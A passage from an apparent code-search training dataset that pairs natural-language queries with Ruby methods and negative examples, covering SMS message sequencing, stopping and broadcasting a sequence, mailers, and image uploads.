"def perhaps_use_library_image\n self.file = open(library_image.file.file) if library_image\n end",
"def image_from_url\n io = open(URI.parse(image_url))\n def io.original_filename; base_uri.path.split('/').last; end\n self.image = io.original_filename.blank? ? nil : io\n rescue # catch url errors with validations instead of exceptions (Errno::ENOENT, OpenURI::HTTPError, etc...) \n end",
"def featured_image\n if images.size > 0\n images.first.image.url(:featured)\n else\n ActionController::Base.new.view_context.image_path('no-image-featured.jpg')\n end\n end",
"def create_from_path(path)\n aws_file = S3MediaServerApi::Config.mocked ? Mocked::Uploader.upload(path) : Uploader.upload(path)\n uuid = aws_file.uuid\n create(uuid)\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Send message to customer, and schedule next message, if next template exists | def send_message message_template
# return if sequence in progress is false
return {error: false,message: "Message Sequence is stopped by user."} unless self.sequence_in_progress
next_template = MessageTemplate.next_template(message_template)
recipents = [self.phone]
content = message_template.template
response = Message.send_sms(recipents,content,self.restaurant,'text_ready')
if next_template.present? and !response[:error]
# schedule next message, if next template exists
next_scheduled_time = Time.now + next_template.next_delay.to_i.minutes
self.delay(run_at: next_scheduled_time).send_message(next_template)
else
self.broadcast_stop_sequence
end
response
end | [
"def send_absolutely_scheduled_messages\n messages.pending_send.find_each do |message|\n # subscribers = subscriptions.where(\"created_at <= ?\", message.next_send_time).map(&:subscriber)\n subscribers = subscriptions.map(&:subscriber)\n send_message message, subscribers if subscribers.size > 0\n\n if message.recurring_schedule.present?\n message.update_next_send_time_for_recurring_schedule\n message.save!\n end\n end\n end",
"def send_relatively_scheduled_messages\n messages.pending_send.find_each do |message|\n subscriber_ids = message.options[:subscriber_ids]\n next if subscriber_ids.blank?\n current_time = Time.current\n valid_subscribers = subscriptions.where(subscriber_id: subscriber_ids)\n .select { |subscription| message.target_time(subscription.created_at) <= current_time }\n .map(&:subscriber)\n\n if valid_subscribers.size > 0\n send_message message, valid_subscribers\n \n subscriber_ids -= valid_subscribers.map(&:id)\n message.options[:subscriber_ids] = subscriber_ids\n message.next_send_time = if subscriber_ids.size > 0\n message.target_time(subscriptions.find_by(subscriber_id: subscriber_ids[0]).created_at)\n end\n\n message.save\n end\n end\n end",
"def send_template(template_name, _, message)\n if test?\n base_deliveries.push([template_name, message])\n else\n message[:content][:template_id] = template_name\n client.transmission.send_payload(message)\n end\n end",
"def plan_message\n send_date = message_type.day * 20\n MessageJob.set(wait: send_date.seconds).perform_later(self.id)\n end",
"def send_next!\n (newsletter = next_newsletter) && newsletter.send_newsletter!\n end",
"def atomic_create\n @room.messages_requested.increment do |messages_requested|\n @room.send_message_to_requested_channel(messages_requested)\n if messages_requested <= @room.max_messages\n @room.messages_posted.increment\n @room.send_message_to_posted_channel(@room.messages_posted.value)\n if @message.save\n @room.send_message_to_chat_channel(render_message_to_string)\n render nothing: true\n else\n logger.info @message.errors.inspect\n end\n else\n render nothing: true\n end\n end\n end",
"def send_activate_user_reminder_email\n # find the email template corresponding to the\n # incremented_reminder_count\n template = EmailTemplate.find_by_name(\n \"after-activate-user-reminder-#{self.activate_user_reminder_count}\"\n )\n\n # do noting if no template could be found\n return unless template\n\n # set the liquid template options\n template_options = { 'user1' => self }\n\n # render the template and deliver it\n ApplicationMailer.email_template(template, self, template_options).deliver\n\n # update the new activate_user_reminder_count attribute\n update_column :activate_user_reminder_count, 1\n end",
"def send_message\n subscribers = current_account.subscribers.all(:include => :phone)\n numbers = subscribers.map { |s| s.phone.number }\n message = params[:message][:body].to_s.strip\n parts = (message.length / 160.0).ceil\n recipients = numbers.size\n\n unless recipients == 0 || message.blank?\n # Record delivery\n current_account.marketing_messages.create!({\n :kind => MarketingMessage::KIND_MANUAL,\n :body => message,\n :parts => parts,\n :recipients => recipients\n })\n \n flash[:notice] = \"Sending the message with #{parts} part(s) to #{recipients} subscriber(s)\"\n \n spawn do\n logger.info \"Sending manual subscription message to #{recipients} subscribers: domain=#{current_account.domain}, parts=#{parts}\"\n ServiceLayer.new.send_messages(numbers, message)\n logger.info \"Finished sending\"\n end\n else\n flash[:notice] = \"You have no subscribers or the message is blank\"\n end\n\n redirect_to subscribers_url\n end",
"def email_rently_customers(message)\n\n # For each customer\n Customer.all.each do |customer|\n ApplicationMailer.send(customer, message)\n end\n end",
"def send_remainders(time_key)\n InfobipService.send_message_to(mentor.phone_number, \"Hi #{mentor.first_name}, you have an appointment with #{mentee.the_first_name(created_at)} #{time_key == 'before_30' ? 'in 30 minutes' : \"tomorrow at #{I18n.l(schedule_for, format: :short)}\"}\") if mentor.phone_number\n InfobipService.send_message_to(mentee.phone_number, \"Hi #{mentee.first_name}, you have an appointment with #{mentor.first_name} #{time_key == 'before_30' ? 'in 30 minutes' : \"tomorrow at #{I18n.l(schedule_for, format: :short)}\"}\") if mentee.phone_number\n UserMailer.remainder_appointment(mentor, mentee, self, time_key).deliver_now\n UserMailer.remainder_appointment(mentee, mentor, self, time_key).deliver_now\n end",
"def perform(confirmation_number)\r\n # ReservationMailer.customer_booking_email(confirmation_number).deliver_later\r\n ReservationMailer.customer_booking_email(confirmation_number).deliver_now\r\n end",
"def process\n ContactMailer.forward_enquiry(self).deliver_later\n ContactMailer.auto_reply(self).deliver_later\n NewsletterSignup.create(name: name, email: email, context: context) if newsletter_opt_in?\n end",
"def send(template_name, email, vars, options = {}, schedule_time = nil)\n post = {}\n post[:template] = template_name\n post[:email] = email\n post[:vars] = vars\n post[:options] = options\n post[:schedule_time] = schedule_time if schedule_time\n result = self.api_post(:send, post)\n end",
"def next_message(block)\n @mutex.lock\n begin\n super(&block)\n ensure\n begin\n @mutex.unlock\n rescue\n nil\n end\n end\n end",
"def schedule_message(options)\n require_relative 'scheduledmessage'\n ScheduledMessage.new(@api, @api.do_request(\"POST\", get_base_api_path() + \"/scheduled\", options))\n end",
"def next_message_id\n @message_id += 1\n end",
"def next_newsletter\n where(state: :sending).first || where(state: :ready).first\n end",
"def send_template_to(params)\n user = User.find(params['user_id'])\n recipient = recipients_from_user(user)\n @mailer = Mailer.setup(subject: 'CodeScrum Invitation',\n from_name: default_from_name,\n from_email: default_from_email,\n template: 'rails_girls_template',\n global_merge_vars: default_global_merge_vars)\n @mailer.send_one!(recipient)\n end",
"def send_reminder\n msg = \"Heads up your mentor call will begin in 10 minutes\"\n TwilioClient.account.sms.messages.create(:from => Settings.apis.twilio.phone, :to => self.from.phone, :body => msg)\n TwilioClient.account.sms.messages.create(:from => Settings.apis.twilio.phone, :to => self.to.phone, :body => msg)\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
stop message sequence if status is changed from nil reset sequence in progress and broadcast stop sequence | def stop_sequence
if self.sequence_in_progress and self.status != nil
broadcast_stop_sequence
end
end | [
"def broadcast_stop_sequence\n self.update(sequence_in_progress: false)\n ActionCable.server.broadcast 'message_sequence',\n booking_id: self.id,html_template: ApplicationController.render(\n partial: 'walk_ins/walk_in',locals: { booking: self }\n )\n end",
"def handle_stop_message\n @running = false\n if !@event.nil?\n @event.do_stop\n true\n end\n end",
"def stopping_phase\n @queue.close\n while @thread_count.positive?\n maybe_log(\"Waiting for message while stopping\")\n message = ::Ractor.receive\n next unless request.is_a?(Message)\n case message.type\n when :call\n refuse_method(message)\n when :thread_stopped\n @thread_count -= 1\n end\n end\n end",
"def stop\n Cproton.pn_messenger_stop(@impl)\n end",
"def stop\n # self.stop_proxy\n # if machine_status and (machine_status == STATUS_AVAILABLE or machine_status == STATUS_OCCUPIED)\n # self.cleanup_after_stop\n # end\n\n self.delete_machine\n self.status = STATUS_ERROR\n self.student_id = 0\n self.save\n end",
"def unstop\n need_state :stop\n reset_process\n end",
"def stop\n broker.stop\n end",
"def stop_request\n if outbound_request? && $redis.get(\"STOP_#{to}_#{from}\").present?\n errors.add(:base, message: \"sms from #{from} to #{to} blocked by STOP request\")\n end\n end",
"def stop\r\n synchronize { @state = State::STOP if state == State::RUN }\r\n self\r\n end",
"def reset\n # reset all the steps (stati and execution times)\n @steps.each(&:reset)\n # reset the status\n @state = CommandSequenceStatus.new(@name)\n @steps.each { |step| @state.step = step }\n @state.start_time = Time.now\n @state.stop_time = nil\n @state.sequence_runner = @sequence_runner\n # tell the world\n notify(:sequence_status => @state)\n end",
"def stop\n Qwirk.logger.debug \"#{self}: In worker stop\"\n @status = 'Stopping'\n @stopped = true\n @processing_mutex.synchronize do\n # This should interrupt @impl.receive_message above and cause it to return nil\n @impl.stop\n end\n end",
"def reset\n # reset all the steps (stati and execution times)\n @steps.each(&:reset)\n # reset the status\n @state = CommandSequenceStatus.new(@name)\n @steps.each { |step| @state.step = step }\n @state.start_time = Time.now\n @state.stop_time = nil\n @state.sequence_runner = @sequence_runner\n # tell the world\n notify(sequence_status: @state)\n end",
"def sstop\n\n @stopped = true\n end",
"def stop(success)\n @success = success\n if @success\n @status = \"passed\"\n else\n @status = \"failed\"\n end\n @stop_time = Time.now\n @post_routine.call if @post_routine\n end",
"def request_stop\n\n end",
"def stop()\n\t\t\traise InvalidDataError, 'Consumer state must be RUNNING before it can be stopped' unless @state = StreamConsumer::STATE_RUNNING\n\t\t\t@state = StreamConsumer::STATE_STOPPING\n\t\tend",
"def stop\n @timer_worker.shutdown\n @broker.stop\n @message_worker.shutdown\n end",
"def cancel_streaming\n @looping = false\n @canceled = true\n end",
"def cancel!\r\n return if [:cancel].include? m.status\r\n raise \"Invalid state: message must be new, retry, or fail to cancel!\" unless [:new, :retry, :fail].include? m.status\r\n self.status = :cancel\r\n self.save!\r\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
broadcast message sequence stop | def broadcast_stop_sequence
self.update(sequence_in_progress: false)
ActionCable.server.broadcast 'message_sequence',
booking_id: self.id,html_template: ApplicationController.render(
partial: 'walk_ins/walk_in',locals: { booking: self }
)
end | [
"def stop_sequence\n if self.sequence_in_progress and self.status != nil\n broadcast_stop_sequence\n end\n\n end",
"def stop\n Cproton.pn_messenger_stop(@impl)\n end",
"def stop_broadcast_subscribe\n # The only object for this is clean the clients buffer\n # anything that we send for the channel will send the sign\n Helpers.redis.subscribe('stop-broadcast') do |on|\n on.message do\n begin\n Helpers.log 'Stopping Broadcast'\n\n # send_signal_to_stop_brodcast!\n force_stop_broadcast!\n rescue => e\n Helpers.error 'Stopping Broadcast', e\n end\n end\n end\n end",
"def stopping_phase\n @queue.close\n while @thread_count.positive?\n maybe_log(\"Waiting for message while stopping\")\n message = ::Ractor.receive\n next unless request.is_a?(Message)\n case message.type\n when :call\n refuse_method(message)\n when :thread_stopped\n @thread_count -= 1\n end\n end\n end",
"def handle_stop_message\n @running = false\n if !@event.nil?\n @event.do_stop\n true\n end\n end",
"def zstop\n midi_stop\n end",
"def move_topic_stop\n\t\tWebsocketRails[(message[:session]).to_s.to_sym].trigger(:move_topic_stop, message)\n\tend",
"def on_stop(signal)\n end",
"def pop_interrupt; end",
"def broadcast_example_b1\n end",
"def stop\n broker.stop\n end",
"def stop_request\n if outbound_request? && $redis.get(\"STOP_#{to}_#{from}\").present?\n errors.add(:base, message: \"sms from #{from} to #{to} blocked by STOP request\")\n end\n end",
"def doStop _args\n \"doStop _args;\" \n end",
"def stopsig(*) end",
"def end_batch(send_messages = true)\n @batch -= 1\n batch = 0 if @batch < 0\n if send_messages && @batch == 0 && !is_disconnected\n messages = @message_queue\n message_queue = []\n if messages.size > 0 \n internal_send(messages, false)\n end\n end\n end",
"def catch_messages_stop()\n messages = @messages\n @messages = nil\n messages.empty? ? nil : messages\n end",
"def unstop\n need_state :stop\n reset_process\n end",
"def request_stop\n\n end",
"def stop\n @timer_worker.shutdown\n @broker.stop\n @message_worker.shutdown\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.